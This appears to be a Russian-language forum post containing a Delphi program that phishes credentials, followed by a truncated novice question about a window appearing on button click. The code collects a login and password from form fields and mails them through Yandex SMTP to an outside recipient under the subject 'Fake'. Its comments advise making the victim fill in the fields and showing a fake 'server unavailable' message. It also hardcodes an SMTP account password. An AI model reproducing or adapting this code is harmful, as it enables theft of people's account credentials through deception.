procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@ yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;

end.


Знаю вопрос нубовский, НО почему при нажатии Button появляется окно